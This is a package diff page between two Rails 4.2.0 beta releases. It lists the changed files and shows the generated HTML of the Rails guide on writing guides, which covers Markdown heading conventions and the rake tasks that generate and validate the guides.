rails 4.2.0.beta3 → 4.2.0.beta4

Sign up to get free protection for your applications and to get access to all the features.
Files changed (227) hide show
  1. checksums.yaml +4 -4
  2. data/README.md +9 -7
  3. data/guides/output/2_2_release_notes.html +724 -0
  4. data/guides/output/2_3_release_notes.html +870 -0
  5. data/guides/output/3_0_release_notes.html +773 -0
  6. data/guides/output/3_1_release_notes.html +740 -0
  7. data/guides/output/3_2_release_notes.html +797 -0
  8. data/guides/output/4_0_release_notes.html +523 -0
  9. data/guides/output/4_1_release_notes.html +806 -0
  10. data/guides/output/4_2_release_notes.html +728 -0
  11. data/guides/output/Gemfile +6 -0
  12. data/guides/output/_license.html +226 -0
  13. data/guides/output/_welcome.html +233 -0
  14. data/guides/output/action_controller_overview.html +1335 -0
  15. data/guides/output/action_mailer_basics.html +928 -0
  16. data/guides/output/action_view_overview.html +1509 -0
  17. data/guides/output/active_job_basics.html +546 -0
  18. data/guides/output/active_model_basics.html +438 -0
  19. data/guides/output/active_record_basics.html +594 -0
  20. data/guides/output/active_record_callbacks.html +592 -0
  21. data/guides/output/active_record_migrations.html +1123 -0
  22. data/guides/output/active_record_postgresql.html +675 -0
  23. data/guides/output/active_record_querying.html +1796 -0
  24. data/guides/output/active_record_validations.html +1301 -0
  25. data/guides/output/active_support_core_extensions.html +3450 -0
  26. data/guides/output/active_support_instrumentation.html +1121 -0
  27. data/guides/output/api_documentation_guidelines.html +498 -0
  28. data/guides/output/asset_pipeline.html +1167 -0
  29. data/guides/output/association_basics.html +2086 -0
  30. data/guides/output/caching_with_rails.html +553 -0
  31. data/guides/output/command_line.html +791 -0
  32. data/guides/output/configuring.html +1055 -0
  33. data/guides/output/contributing_to_ruby_on_rails.html +657 -0
  34. data/guides/output/credits.html +284 -0
  35. data/guides/output/debugging_rails_applications.html +1014 -0
  36. data/guides/output/development_dependencies_install.html +478 -0
  37. data/guides/output/engines.html +1438 -0
  38. data/guides/output/form_helpers.html +1074 -0
  39. data/guides/output/generators.html +838 -0
  40. data/guides/output/getting_started.html +2092 -0
  41. data/guides/output/i18n.html +1198 -0
  42. data/guides/output/images/akshaysurve.jpg +0 -0
  43. data/guides/output/images/belongs_to.png +0 -0
  44. data/guides/output/images/book_icon.gif +0 -0
  45. data/guides/output/images/bullet.gif +0 -0
  46. data/guides/output/images/chapters_icon.gif +0 -0
  47. data/guides/output/images/check_bullet.gif +0 -0
  48. data/guides/output/images/credits_pic_blank.gif +0 -0
  49. data/guides/output/images/csrf.png +0 -0
  50. data/guides/output/images/edge_badge.png +0 -0
  51. data/guides/output/images/favicon.ico +0 -0
  52. data/guides/output/images/feature_tile.gif +0 -0
  53. data/guides/output/images/footer_tile.gif +0 -0
  54. data/guides/output/images/fxn.png +0 -0
  55. data/guides/output/images/getting_started/article_with_comments.png +0 -0
  56. data/guides/output/images/getting_started/challenge.png +0 -0
  57. data/guides/output/images/getting_started/confirm_dialog.png +0 -0
  58. data/guides/output/images/getting_started/forbidden_attributes_for_new_article.png +0 -0
  59. data/guides/output/images/getting_started/forbidden_attributes_for_new_post.png +0 -0
  60. data/guides/output/images/getting_started/form_with_errors.png +0 -0
  61. data/guides/output/images/getting_started/index_action_with_edit_link.png +0 -0
  62. data/guides/output/images/getting_started/new_article.png +0 -0
  63. data/guides/output/images/getting_started/new_post.png +0 -0
  64. data/guides/output/images/getting_started/post_with_comments.png +0 -0
  65. data/guides/output/images/getting_started/rails_welcome.png +0 -0
  66. data/guides/output/images/getting_started/routing_error_no_controller.png +0 -0
  67. data/guides/output/images/getting_started/routing_error_no_route_matches.png +0 -0
  68. data/guides/output/images/getting_started/show_action_for_articles.png +0 -0
  69. data/guides/output/images/getting_started/show_action_for_posts.png +0 -0
  70. data/guides/output/images/getting_started/template_is_missing_articles_new.png +0 -0
  71. data/guides/output/images/getting_started/template_is_missing_posts_new.png +0 -0
  72. data/guides/output/images/getting_started/undefined_method_post_path.png +0 -0
  73. data/guides/output/images/getting_started/unknown_action_create_for_articles.png +0 -0
  74. data/guides/output/images/getting_started/unknown_action_create_for_posts.png +0 -0
  75. data/guides/output/images/getting_started/unknown_action_new_for_articles.png +0 -0
  76. data/guides/output/images/getting_started/unknown_action_new_for_posts.png +0 -0
  77. data/guides/output/images/grey_bullet.gif +0 -0
  78. data/guides/output/images/habtm.png +0 -0
  79. data/guides/output/images/has_many.png +0 -0
  80. data/guides/output/images/has_many_through.png +0 -0
  81. data/guides/output/images/has_one.png +0 -0
  82. data/guides/output/images/has_one_through.png +0 -0
  83. data/guides/output/images/header_backdrop.png +0 -0
  84. data/guides/output/images/header_tile.gif +0 -0
  85. data/guides/output/images/i18n/demo_html_safe.png +0 -0
  86. data/guides/output/images/i18n/demo_localized_pirate.png +0 -0
  87. data/guides/output/images/i18n/demo_translated_en.png +0 -0
  88. data/guides/output/images/i18n/demo_translated_pirate.png +0 -0
  89. data/guides/output/images/i18n/demo_translation_missing.png +0 -0
  90. data/guides/output/images/i18n/demo_untranslated.png +0 -0
  91. data/guides/output/images/icons/README +5 -0
  92. data/guides/output/images/icons/callouts/1.png +0 -0
  93. data/guides/output/images/icons/callouts/10.png +0 -0
  94. data/guides/output/images/icons/callouts/11.png +0 -0
  95. data/guides/output/images/icons/callouts/12.png +0 -0
  96. data/guides/output/images/icons/callouts/13.png +0 -0
  97. data/guides/output/images/icons/callouts/14.png +0 -0
  98. data/guides/output/images/icons/callouts/15.png +0 -0
  99. data/guides/output/images/icons/callouts/2.png +0 -0
  100. data/guides/output/images/icons/callouts/3.png +0 -0
  101. data/guides/output/images/icons/callouts/4.png +0 -0
  102. data/guides/output/images/icons/callouts/5.png +0 -0
  103. data/guides/output/images/icons/callouts/6.png +0 -0
  104. data/guides/output/images/icons/callouts/7.png +0 -0
  105. data/guides/output/images/icons/callouts/8.png +0 -0
  106. data/guides/output/images/icons/callouts/9.png +0 -0
  107. data/guides/output/images/icons/caution.png +0 -0
  108. data/guides/output/images/icons/example.png +0 -0
  109. data/guides/output/images/icons/home.png +0 -0
  110. data/guides/output/images/icons/important.png +0 -0
  111. data/guides/output/images/icons/next.png +0 -0
  112. data/guides/output/images/icons/note.png +0 -0
  113. data/guides/output/images/icons/prev.png +0 -0
  114. data/guides/output/images/icons/tip.png +0 -0
  115. data/guides/output/images/icons/up.png +0 -0
  116. data/guides/output/images/icons/warning.png +0 -0
  117. data/guides/output/images/nav_arrow.gif +0 -0
  118. data/guides/output/images/oscardelben.jpg +0 -0
  119. data/guides/output/images/polymorphic.png +0 -0
  120. data/guides/output/images/radar.png +0 -0
  121. data/guides/output/images/rails4_features.png +0 -0
  122. data/guides/output/images/rails_guides_kindle_cover.jpg +0 -0
  123. data/guides/output/images/rails_guides_logo.gif +0 -0
  124. data/guides/output/images/rails_logo_remix.gif +0 -0
  125. data/guides/output/images/session_fixation.png +0 -0
  126. data/guides/output/images/tab_grey.gif +0 -0
  127. data/guides/output/images/tab_info.gif +0 -0
  128. data/guides/output/images/tab_note.gif +0 -0
  129. data/guides/output/images/tab_red.gif +0 -0
  130. data/guides/output/images/tab_yellow.gif +0 -0
  131. data/guides/output/images/tab_yellow.png +0 -0
  132. data/guides/output/images/vijaydev.jpg +0 -0
  133. data/guides/output/index.html +354 -0
  134. data/guides/output/initialization.html +876 -0
  135. data/guides/output/javascripts/guides.js +59 -0
  136. data/guides/output/javascripts/jquery.min.js +4 -0
  137. data/guides/output/javascripts/responsive-tables.js +43 -0
  138. data/guides/output/javascripts/syntaxhighlighter/shBrushAS3.js +59 -0
  139. data/guides/output/javascripts/syntaxhighlighter/shBrushAppleScript.js +75 -0
  140. data/guides/output/javascripts/syntaxhighlighter/shBrushBash.js +59 -0
  141. data/guides/output/javascripts/syntaxhighlighter/shBrushCSharp.js +65 -0
  142. data/guides/output/javascripts/syntaxhighlighter/shBrushColdFusion.js +100 -0
  143. data/guides/output/javascripts/syntaxhighlighter/shBrushCpp.js +97 -0
  144. data/guides/output/javascripts/syntaxhighlighter/shBrushCss.js +91 -0
  145. data/guides/output/javascripts/syntaxhighlighter/shBrushDelphi.js +55 -0
  146. data/guides/output/javascripts/syntaxhighlighter/shBrushDiff.js +41 -0
  147. data/guides/output/javascripts/syntaxhighlighter/shBrushErlang.js +52 -0
  148. data/guides/output/javascripts/syntaxhighlighter/shBrushGroovy.js +67 -0
  149. data/guides/output/javascripts/syntaxhighlighter/shBrushJScript.js +52 -0
  150. data/guides/output/javascripts/syntaxhighlighter/shBrushJava.js +57 -0
  151. data/guides/output/javascripts/syntaxhighlighter/shBrushJavaFX.js +58 -0
  152. data/guides/output/javascripts/syntaxhighlighter/shBrushPerl.js +72 -0
  153. data/guides/output/javascripts/syntaxhighlighter/shBrushPhp.js +88 -0
  154. data/guides/output/javascripts/syntaxhighlighter/shBrushPlain.js +33 -0
  155. data/guides/output/javascripts/syntaxhighlighter/shBrushPowerShell.js +74 -0
  156. data/guides/output/javascripts/syntaxhighlighter/shBrushPython.js +64 -0
  157. data/guides/output/javascripts/syntaxhighlighter/shBrushRuby.js +55 -0
  158. data/guides/output/javascripts/syntaxhighlighter/shBrushSass.js +94 -0
  159. data/guides/output/javascripts/syntaxhighlighter/shBrushScala.js +51 -0
  160. data/guides/output/javascripts/syntaxhighlighter/shBrushSql.js +66 -0
  161. data/guides/output/javascripts/syntaxhighlighter/shBrushVb.js +56 -0
  162. data/guides/output/javascripts/syntaxhighlighter/shBrushXml.js +69 -0
  163. data/guides/output/javascripts/syntaxhighlighter/shCore.js +17 -0
  164. data/guides/output/layout.html +448 -0
  165. data/guides/output/layouts_and_rendering.html +1541 -0
  166. data/guides/output/maintenance_policy.html +257 -0
  167. data/guides/output/migrations.html +1360 -0
  168. data/guides/output/nested_model_forms.html +412 -0
  169. data/guides/output/plugins.html +644 -0
  170. data/guides/output/rails_application_templates.html +450 -0
  171. data/guides/output/rails_on_rack.html +547 -0
  172. data/guides/output/routing.html +1631 -0
  173. data/guides/output/ruby_on_rails_guides_guidelines.html +329 -0
  174. data/guides/output/security.html +935 -0
  175. data/guides/output/stylesheets/fixes.css +16 -0
  176. data/guides/output/stylesheets/kindle.css +11 -0
  177. data/guides/output/stylesheets/main.css +713 -0
  178. data/guides/output/stylesheets/print.css +52 -0
  179. data/guides/output/stylesheets/reset.css +43 -0
  180. data/guides/output/stylesheets/responsive-tables.css +50 -0
  181. data/guides/output/stylesheets/style.css +13 -0
  182. data/guides/output/stylesheets/syntaxhighlighter/shCore.css +226 -0
  183. data/guides/output/stylesheets/syntaxhighlighter/shCoreDefault.css +328 -0
  184. data/guides/output/stylesheets/syntaxhighlighter/shCoreDjango.css +331 -0
  185. data/guides/output/stylesheets/syntaxhighlighter/shCoreEclipse.css +339 -0
  186. data/guides/output/stylesheets/syntaxhighlighter/shCoreEmacs.css +324 -0
  187. data/guides/output/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css +328 -0
  188. data/guides/output/stylesheets/syntaxhighlighter/shCoreMDUltra.css +324 -0
  189. data/guides/output/stylesheets/syntaxhighlighter/shCoreMidnight.css +324 -0
  190. data/guides/output/stylesheets/syntaxhighlighter/shCoreRDark.css +324 -0
  191. data/guides/output/stylesheets/syntaxhighlighter/shThemeDefault.css +117 -0
  192. data/guides/output/stylesheets/syntaxhighlighter/shThemeDjango.css +120 -0
  193. data/guides/output/stylesheets/syntaxhighlighter/shThemeEclipse.css +128 -0
  194. data/guides/output/stylesheets/syntaxhighlighter/shThemeEmacs.css +113 -0
  195. data/guides/output/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css +117 -0
  196. data/guides/output/stylesheets/syntaxhighlighter/shThemeMDUltra.css +113 -0
  197. data/guides/output/stylesheets/syntaxhighlighter/shThemeMidnight.css +113 -0
  198. data/guides/output/stylesheets/syntaxhighlighter/shThemeRDark.css +113 -0
  199. data/guides/output/stylesheets/syntaxhighlighter/shThemeRailsGuides.css +116 -0
  200. data/guides/output/testing.html +1350 -0
  201. data/guides/output/upgrading_ruby_on_rails.html +1135 -0
  202. data/guides/output/working_with_javascript_in_rails.html +587 -0
  203. data/guides/source/4_0_release_notes.md +2 -2
  204. data/guides/source/4_2_release_notes.md +9 -2
  205. data/guides/source/action_controller_overview.md +3 -1
  206. data/guides/source/action_mailer_basics.md +1 -2
  207. data/guides/source/active_job_basics.md +25 -2
  208. data/guides/source/active_model_basics.md +350 -19
  209. data/guides/source/active_record_basics.md +2 -2
  210. data/guides/source/active_record_migrations.md +1 -1
  211. data/guides/source/active_record_validations.md +12 -4
  212. data/guides/source/active_support_core_extensions.md +7 -9
  213. data/guides/source/active_support_instrumentation.md +2 -0
  214. data/guides/source/association_basics.md +7 -7
  215. data/guides/source/configuring.md +24 -0
  216. data/guides/source/contributing_to_ruby_on_rails.md +1 -1
  217. data/guides/source/credits.html.erb +1 -1
  218. data/guides/source/documents.yaml +5 -0
  219. data/guides/source/engines.md +2 -2
  220. data/guides/source/form_helpers.md +6 -0
  221. data/guides/source/i18n.md +6 -9
  222. data/guides/source/layouts_and_rendering.md +1 -1
  223. data/guides/source/plugins.md +2 -2
  224. data/guides/source/rails_on_rack.md +4 -0
  225. data/guides/source/testing.md +1 -0
  226. data/guides/source/upgrading_ruby_on_rails.md +5 -5
  227. metadata +227 -27
@@ -0,0 +1,329 @@
1
+ <!DOCTYPE html>
2
+
3
+ <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
4
+ <head>
5
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
6
+ <meta name="viewport" content="width=device-width, initial-scale=1"/>
7
+
8
+ <title>Ruby on Rails Guides Guidelines — Ruby on Rails Guides</title>
9
+ <link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
10
+ <link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
11
+
12
+ <link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
13
+ <link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
14
+
15
+ <link rel="stylesheet" type="text/css" href="stylesheets/fixes.css" />
16
+
17
+ <link href="images/favicon.ico" rel="shortcut icon" type="image/x-icon" />
18
+ </head>
19
+ <body class="guide">
20
+ <div id="topNav">
21
+ <div class="wrapper">
22
+ <strong class="more-info-label">More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
23
+ <span class="red-button more-info-button">
24
+ More Ruby on Rails
25
+ </span>
26
+ <ul class="more-info-links s-hidden">
27
+ <li class="more-info"><a href="http://rubyonrails.org/">Overview</a></li>
28
+ <li class="more-info"><a href="http://rubyonrails.org/download">Download</a></li>
29
+ <li class="more-info"><a href="http://rubyonrails.org/deploy">Deploy</a></li>
30
+ <li class="more-info"><a href="https://github.com/rails/rails">Code</a></li>
31
+ <li class="more-info"><a href="http://rubyonrails.org/screencasts">Screencasts</a></li>
32
+ <li class="more-info"><a href="http://rubyonrails.org/documentation">Documentation</a></li>
33
+ <li class="more-info"><a href="http://rubyonrails.org/community">Community</a></li>
34
+ <li class="more-info"><a href="http://weblog.rubyonrails.org/">Blog</a></li>
35
+ </ul>
36
+ </div>
37
+ </div>
38
+ <div id="header">
39
+ <div class="wrapper clearfix">
40
+ <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
41
+ <ul class="nav">
42
+ <li><a class="nav-item" href="index.html">Home</a></li>
43
+ <li class="guides-index guides-index-large">
44
+ <a href="index.html" id="guidesMenu" class="guides-index-item nav-item">Guides Index</a>
45
+ <div id="guides" class="clearfix" style="display: none;">
46
+ <hr />
47
+ <dl class="L">
48
+ <dt>Start Here</dt>
49
+ <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
50
+ <dt>Models</dt>
51
+ <dd><a href="active_record_basics.html">Active Record Basics</a></dd>
52
+ <dd><a href="active_record_migrations.html">Active Record Migrations</a></dd>
53
+ <dd><a href="active_record_validations.html">Active Record Validations</a></dd>
54
+ <dd><a href="active_record_callbacks.html">Active Record Callbacks</a></dd>
55
+ <dd><a href="association_basics.html">Active Record Associations</a></dd>
56
+ <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
57
+ <dt>Views</dt>
58
+ <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
59
+ <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
60
+ <dt>Controllers</dt>
61
+ <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
62
+ <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
63
+ </dl>
64
+ <dl class="R">
65
+ <dt>Digging Deeper</dt>
66
+ <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
67
+ <dd><a href="i18n.html">Rails Internationalization API</a></dd>
68
+ <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
69
+ <dd><a href="active_job_basics.html">Active Job Basics</a></dd>
70
+ <dd><a href="security.html">Securing Rails Applications</a></dd>
71
+ <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
72
+ <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
73
+ <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
74
+ <dd><a href="asset_pipeline.html">Asset Pipeline</a></dd>
75
+ <dd><a href="working_with_javascript_in_rails.html">Working with JavaScript in Rails</a></dd>
76
+ <dt>Extending Rails</dt>
77
+ <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
78
+ <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
79
+ <dt>Contributing to Ruby on Rails</dt>
80
+ <dd><a href="contributing_to_ruby_on_rails.html">Contributing to Ruby on Rails</a></dd>
81
+ <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
82
+ <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
83
+ <dt>Maintenance Policy</dt>
84
+ <dd><a href="maintenance_policy.html">Maintenance Policy</a></dd>
85
+ <dt>Release Notes</dt>
86
+ <dd><a href="upgrading_ruby_on_rails.html">Upgrading Ruby on Rails</a></dd>
87
+ <dd><a href="4_1_release_notes.html">Ruby on Rails 4.1 Release Notes</a></dd>
88
+ <dd><a href="4_0_release_notes.html">Ruby on Rails 4.0 Release Notes</a></dd>
89
+ <dd><a href="3_2_release_notes.html">Ruby on Rails 3.2 Release Notes</a></dd>
90
+ <dd><a href="3_1_release_notes.html">Ruby on Rails 3.1 Release Notes</a></dd>
91
+ <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
92
+ <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
93
+ <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
94
+ </dl>
95
+ </div>
96
+ </li>
97
+ <li><a class="nav-item" href="contributing_to_ruby_on_rails.html">Contribute</a></li>
98
+ <li><a class="nav-item" href="credits.html">Credits</a></li>
99
+ <li class="guides-index guides-index-small">
100
+ <select class="guides-index-item nav-item">
101
+ <option value="index.html">Guides Index</option>
102
+ <optgroup label="Start Here">
103
+ <option value="getting_started.html">Getting Started with Rails</option>
104
+ </optgroup>
105
+ <optgroup label="Models">
106
+ <option value="active_record_basics.html">Active Record Basics</option>
107
+ <option value="active_record_migrations.html">Active Record Migrations</option>
108
+ <option value="active_record_validations.html">Active Record Validations</option>
109
+ <option value="active_record_callbacks.html">Active Record Callbacks</option>
110
+ <option value="association_basics.html">Active Record Associations</option>
111
+ <option value="active_record_querying.html">Active Record Query Interface</option>
112
+ </optgroup>
113
+ <optgroup label="Views">
114
+ <option value="layouts_and_rendering.html">Layouts and Rendering in Rails</option>
115
+ <option value="form_helpers.html">Action View Form Helpers</option>
116
+ </optgroup>
117
+ <optgroup label="Controllers">
118
+ <option value="action_controller_overview.html">Action Controller Overview</option>
119
+ <option value="routing.html">Rails Routing from the Outside In</option>
120
+ </optgroup>
121
+ <optgroup label="Digging Deeper">
122
+ <option value="active_support_core_extensions.html">Active Support Core Extensions</option>
123
+ <option value="i18n.html">Rails Internationalization API</option>
124
+ <option value="action_mailer_basics.html">Action Mailer Basics</option>
125
+ <option value="active_job_basics.html">Active Job Basics</option>
126
+ <option value="security.html">Securing Rails Applications</option>
127
+ <option value="debugging_rails_applications.html">Debugging Rails Applications</option>
128
+ <option value="configuring.html">Configuring Rails Applications</option>
129
+ <option value="command_line.html">Rails Command Line Tools and Rake Tasks</option>
130
+ <option value="asset_pipeline.html">Asset Pipeline</option>
131
+ <option value="working_with_javascript_in_rails.html">Working with JavaScript in Rails</option>
132
+ </optgroup>
133
+ <optgroup label="Extending Rails">
134
+ <option value="rails_on_rack.html">Rails on Rack</option>
135
+ <option value="generators.html">Creating and Customizing Rails Generators</option>
136
+ </optgroup>
137
+ <optgroup label="Contributing to Ruby on Rails">
138
+ <option value="contributing_to_ruby_on_rails.html">Contributing to Ruby on Rails</option>
139
+ <option value="api_documentation_guidelines.html">API Documentation Guidelines</option>
140
+ <option value="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</option>
141
+ </optgroup>
142
+ <optgroup label="Maintenance Policy">
143
+ <option value="maintenance_policy.html">Maintenance Policy</option>
144
+ </optgroup>
145
+ <optgroup label="Release Notes">
146
+ <option value="upgrading_ruby_on_rails.html">Upgrading Ruby on Rails</option>
147
+ <option value="4_1_release_notes.html">Ruby on Rails 4.1 Release Notes</option>
148
+ <option value="4_0_release_notes.html">Ruby on Rails 4.0 Release Notes</option>
149
+ <option value="3_2_release_notes.html">Ruby on Rails 3.2 Release Notes</option>
150
+ <option value="3_1_release_notes.html">Ruby on Rails 3.1 Release Notes</option>
151
+ <option value="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</option>
152
+ <option value="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</option>
153
+ <option value="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</option>
154
+ </optgroup>
155
+ </select>
156
+ </li>
157
+ </ul>
158
+ </div>
159
+ </div>
160
+ <hr class="hide" />
161
+
162
+ <div id="feature">
163
+ <div class="wrapper">
164
+ <h2>Ruby on Rails Guides Guidelines</h2><p>This guide documents guidelines for writing Ruby on Rails Guides. This guide follows itself in a graceful loop, serving itself as an example.</p><p>After reading this guide, you will know:</p>
165
+ <ul>
166
+ <li>About the conventions to be used in Rails documentation.</li>
167
+ <li>How to generate guides locally.</li>
168
+ </ul>
169
+
170
+
171
+ <div id="subCol">
172
+ <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
173
+ <ol class="chapters">
174
+ <li><a href="#markdown">Markdown</a></li>
175
+ <li><a href="#prologue">Prologue</a></li>
176
+ <li><a href="#headings">Headings</a></li>
177
+ <li><a href="#api-documentation-guidelines">API Documentation Guidelines</a></li>
178
+ <li>
179
+ <a href="#html-guides">HTML Guides</a>
180
+
181
+ <ul>
182
+ <li><a href="#html-guides-generation">Generation</a></li>
183
+ <li><a href="#validation">Validation</a></li>
184
+ </ul>
185
+ </li>
186
+ <li>
187
+ <a href="#kindle-guides">Kindle Guides</a>
188
+
189
+ <ul>
190
+ <li><a href="#kindle-guides-generation">Generation</a></li>
191
+ </ul>
192
+ </li>
193
+ </ol>
194
+
195
+ </div>
196
+
197
+ </div>
198
+ </div>
199
+
200
+ <div id="container">
201
+ <div class="wrapper">
202
+ <div id="mainCol">
203
+ <h3 id="markdown">1 Markdown</h3><p>Guides are written in <a href="https://help.github.com/articles/github-flavored-markdown">GitHub Flavored Markdown</a>. There is comprehensive <a href="http://daringfireball.net/projects/markdown/syntax">documentation for Markdown</a>, as well as a <a href="http://daringfireball.net/projects/markdown/basics">cheatsheet</a>.</p><h3 id="prologue">2 Prologue</h3><p>Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. As an example, see the <a href="routing.html">Routing Guide</a>.</p><h3 id="headings">3 Headings</h3><p>The title of every guide uses an <code>h1</code> heading; guide sections use <code>h2</code> headings; subsections use <code>h3</code> headings; etc. Note that the generated HTML output will use heading tags starting with <code>&lt;h2&gt;</code>.</p><div class="code_container">
204
+ <pre class="brush: plain; gutter: false; toolbar: false">
205
+ Guide Title
206
+ ===========
207
+
208
+ Section
209
+ -------
210
+
211
+ ### Sub Section
212
+
213
+ </pre>
214
+ </div>
215
+ <p>When writing headings, capitalize all words except for prepositions, conjunctions, internal articles, and forms of the verb "to be":</p><div class="code_container">
216
+ <pre class="brush: plain; gutter: false; toolbar: false">
217
+ #### Middleware Stack is an Array
218
+ #### When are Objects Saved?
219
+
220
+ </pre>
221
+ </div>
222
+ <p>Use the same inline formatting as regular text:</p><div class="code_container">
223
+ <pre class="brush: plain; gutter: false; toolbar: false">
224
+ ##### The `:content_type` Option
225
+
226
+ </pre>
227
+ </div>
228
+ <h3 id="api-documentation-guidelines">4 API Documentation Guidelines</h3><p>The guides and the API should be coherent and consistent where appropriate. In particular, these sections of the <a href="api_documentation_guidelines.html">API Documentation Guidelines</a> also apply to the guides:</p>
229
+ <ul>
230
+ <li><a href="api_documentation_guidelines.html#wording">Wording</a></li>
231
+ <li><a href="api_documentation_guidelines.html#example-code">Example Code</a></li>
232
+ <li><a href="api_documentation_guidelines.html#file-names">Filenames</a></li>
233
+ <li><a href="api_documentation_guidelines.html#fonts">Fonts</a></li>
234
+ </ul>
235
+ <h3 id="html-guides">5 HTML Guides</h3><p>Before generating the guides, make sure that you have the latest version of Bundler installed on your system. As of this writing, you must install Bundler 1.3.5 on your device.</p><p>To install the latest version of Bundler, run <code>gem install bundler</code>.</p><h4 id="html-guides-generation">5.1 Generation</h4><p>To generate all the guides, just <code>cd</code> into the <code>guides</code> directory, run <code>bundle install</code>, and execute:</p><div class="code_container">
236
+ <pre class="brush: plain; gutter: false; toolbar: false">
237
+ bundle exec rake guides:generate
238
+
239
+ </pre>
240
+ </div>
241
+ <p>or</p><div class="code_container">
242
+ <pre class="brush: plain; gutter: false; toolbar: false">
243
+ bundle exec rake guides:generate:html
244
+
245
+ </pre>
246
+ </div>
247
+ <p>To process <code>my_guide.md</code> and nothing else use the <code>ONLY</code> environment variable:</p><div class="code_container">
248
+ <pre class="brush: plain; gutter: false; toolbar: false">
249
+ touch my_guide.md
250
+ bundle exec rake guides:generate ONLY=my_guide
251
+
252
+ </pre>
253
+ </div>
254
+ <p>By default, guides that have not been modified are not processed, so <code>ONLY</code> is rarely needed in practice.</p><p>To force processing all the guides, pass <code>ALL=1</code>.</p><p>It is also recommended that you work with <code>WARNINGS=1</code>. This detects duplicate IDs and warns about broken internal links.</p><p>If you want to generate guides in a language other than English, you can keep them in a separate directory under <code>source</code> (eg. <code>source/es</code>) and use the <code>GUIDES_LANGUAGE</code> environment variable:</p><div class="code_container">
255
+ <pre class="brush: plain; gutter: false; toolbar: false">
256
+ bundle exec rake guides:generate GUIDES_LANGUAGE=es
257
+
258
+ </pre>
259
+ </div>
260
+ <p>If you want to see all the environment variables you can use to configure the generation script just run:</p><div class="code_container">
261
+ <pre class="brush: plain; gutter: false; toolbar: false">
262
+ rake
263
+
264
+ </pre>
265
+ </div>
266
+ <h4 id="validation">5.2 Validation</h4><p>Please validate the generated HTML with:</p><div class="code_container">
267
+ <pre class="brush: plain; gutter: false; toolbar: false">
268
+ bundle exec rake guides:validate
269
+
270
+ </pre>
271
+ </div>
272
+ <p>Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set <code>WARNINGS=1</code> when generating guides to detect them. The warning messages suggest a solution.</p><h3 id="kindle-guides">6 Kindle Guides</h3><h4 id="kindle-guides-generation">6.1 Generation</h4><p>To generate guides for the Kindle, use the following rake task:</p><div class="code_container">
273
+ <pre class="brush: plain; gutter: false; toolbar: false">
274
+ bundle exec rake guides:generate:kindle
275
+
276
+ </pre>
277
+ </div>
278
+
279
+
280
+ <h3>Feedback</h3>
281
+ <p>
282
+ You're encouraged to help improve the quality of this guide.
283
+ </p>
284
+ <p>
285
+ Please contribute if you see any typos or factual errors.
286
+ To get started, you can read our <a href="http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation">documentation contributions</a> section.
287
+ </p>
288
+ <p>
289
+ You may also find incomplete content, or stuff that is not up to date.
290
+ Please do add any missing documentation for master. Make sure to check
291
+ <a href="http://edgeguides.rubyonrails.org">Edge Guides</a> first to verify
292
+ if the issues are already fixed or not on the master branch.
293
+ Check the <a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a>
294
+ for style and conventions.
295
+ </p>
296
+ <p>
297
+ If for whatever reason you spot something to fix but cannot patch it yourself, please
298
+ <a href="https://github.com/rails/rails/issues">open an issue</a>.
299
+ </p>
300
+ <p>And last but not least, any kind of discussion regarding Ruby on Rails
301
+ documentation is very welcome in the <a href="http://groups.google.com/group/rubyonrails-docs">rubyonrails-docs mailing list</a>.
302
+ </p>
303
+ </div>
304
+ </div>
305
+ </div>
306
+
307
+ <hr class="hide" />
308
+ <div id="footer">
309
+ <div class="wrapper">
310
+ <p>This work is licensed under a <a href="https://creativecommons.org/licenses/by-sa/4.0/">Creative Commons Attribution-ShareAlike 4.0 International</a> License</p>
311
+ <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
312
+
313
+ </div>
314
+ </div>
315
+
316
+ <script type="text/javascript" src="javascripts/jquery.min.js"></script>
317
+ <script type="text/javascript" src="javascripts/responsive-tables.js"></script>
318
+ <script type="text/javascript" src="javascripts/guides.js"></script>
319
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
320
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
321
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
